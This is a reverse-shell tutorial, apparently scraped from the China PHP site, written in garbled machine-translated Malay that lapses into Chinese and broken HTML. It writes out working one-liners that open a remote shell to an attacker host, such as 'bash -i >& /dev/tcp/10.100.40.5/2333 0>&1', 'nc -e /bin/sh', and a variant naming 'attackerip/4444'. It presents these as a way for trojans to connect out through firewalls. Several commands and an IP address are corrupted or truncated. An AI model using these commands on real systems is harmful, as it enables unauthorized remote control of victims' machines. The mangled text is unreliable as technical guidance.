* Kenyataan ikhlas: Artikel ini terhad kepada perbincangan dan perkongsian teknikal, dan dilarang sama sekali untuk penggunaan yang menyalahi undang-undang.
Lantunshell
bermakna hujung kawalan mendengar pada port TCP/UDP
tertentu dan hujung terkawal memulakan permintaan ke port dan memasukkan dan mengeluarkannya baris arahan Pergi ke kawalan.
Dalam istilah orang awam, lantunan shell
ialah pautan terbalik, yang berbeza daripada hadapan ssh
dan lain-lain. Ia ialah mod serangan di mana komputer pihak lain melaksanakan perintah untuk menyambung ke sisi kami, dan Mod serangan ini mesti digunakan dengan kelemahan pelaksanaan arahan jauh.
Mengapa melantunshell
? Ia biasanya digunakan apabila hujung terkawal dihadkan oleh tembok api, tiada kebenaran dan port telah diduduki.
Andaikan kita menyerang mesin dan membuka port pada mesin Penyerang menyambung ke mesin sasaran pada mesinnya sendiri. Ini adalah bentuk yang lebih konvensional. Desktop jauh, perkhidmatan web
, ssh
, telnet
, dsb., semuanya adalah sambungan hadapan.
Jadi dalam keadaan apa sambungan hadapan tidak mudah digunakan:
1 Pelanggan mempunyai kuda rangkaian anda, tetapi ia berada dalam LAN, anda menyambung terus No.
2.
ip
nya akan berubah secara dinamik dan anda tidak boleh mengawalnya secara berterusan.3. Disebabkan sekatan seperti tembok api, mesin lain hanya boleh menghantar permintaan tetapi tidak boleh menerima permintaan.
4. Untuk virus dan Trojan, tidak diketahui bila mangsa akan dijangkiti, bagaimana persekitaran rangkaian pihak lain, dan bila hendak menghidupkan dan mematikan mesin Oleh itu, wujudkan pelayan untuk membenarkan hasad program untuk menyambung secara aktif , adalah dasar terbaik.
Kemudian lantunan mudah difahami Penyerang menentukan pelayan, dan hos mangsa secara aktif menyambung ke program pelayan penyerang, yang dipanggil lantunan shell
.
Kami menggunakan bash
contoh kelemahan pelaksanaan kod jauh untuk memahami prinsipnya
Tamat serangan: 10.100.40.5 Mesin mangsa: 16892 .197.136
Mula-mula kita perlu mendengar pada port di bahagian menyerang, dan menggunakan port ini untuk menerima lantunan daripada mesin mangsashell
Masukkan arahan di bahagian menyerang nc -l 2333
Kemudian laksanakan arahan
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
pada mesin mangsa dan kami mendapati bahawa pihak mangsa kami telah berjaya muncul di bahagian serangan kami shell
, hujung penyerang kami boleh melakukan langkah seterusnya pada hujung mangsa
Contohnya:
(1)bash -i
bash
ialah linux
biasa daripada shell
, ia adalah Linux
Lalai untuk banyak pengedaran Shell
. -i
Parameter ini bermaksud menjana interaktif shell
(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
Fail ini sangat istimewa, ia boleh dianggap sebagai peranti (semua di bawah Linux
ialah fail), sebenarnya, jika anda mengakses lokasi fail ini, ia tidak wujud, seperti yang ditunjukkan di bawah:
(3) Tetapi jika anda Dengan membaca dan menulis fail ini semasa satu pihak mendengar pada port, socket
komunikasi dengan pelayan mendengar pada port boleh dicapai
Kami mengeluarkan aksara ke fail /dev/tcp
penganiayaan Tamat:
Tamat serangan:
(4) Seterusnya kita sedang melihat untuk memindahkan output ke hujung mangsa, Teruskan mendengar port 2333
di bahagian penyerang, dan masukkan kandungan di bahagian penyerang dan tekan Enter untuk muncul di bahagian mangsa.
(5) Dengan cara ini idea lebih jelas, mari kita bercakap tentang pengalihan semula interaktif:
Untuk mencapai interaksi, Kita perlu mengubah hala keluaran interaktif mangsa shell
ke mesin serangan
masukkan pada mesin mangsa:
bash -i > /dev/tcp 10.100.40.5/2333
dan kemudian kami mendapati bahawa tidak kira apa arahan yang dimasukkan; , tidak akan ada Paparan tindak balas, gema kini menunjukkan bahawa output standard bahagian serangan dihalakan ke bahagian serangan.
这样只是回显而已,并没有办法在攻击端直接执行命令。
(6)所以我们还需要将攻击者输入的指令输入给受害者的bash
:
bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="Apakah maksud shell rebound?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="Apakah maksud shell rebound?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1
受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :
bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&1;done 0/dev/tcp/attackerip/4444; sh &196 2>&196
(4) 方法四
nc -e /bin/sh 10.100.40.5 2333
Atas ialah kandungan terperinci Apakah maksud shell rebound?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!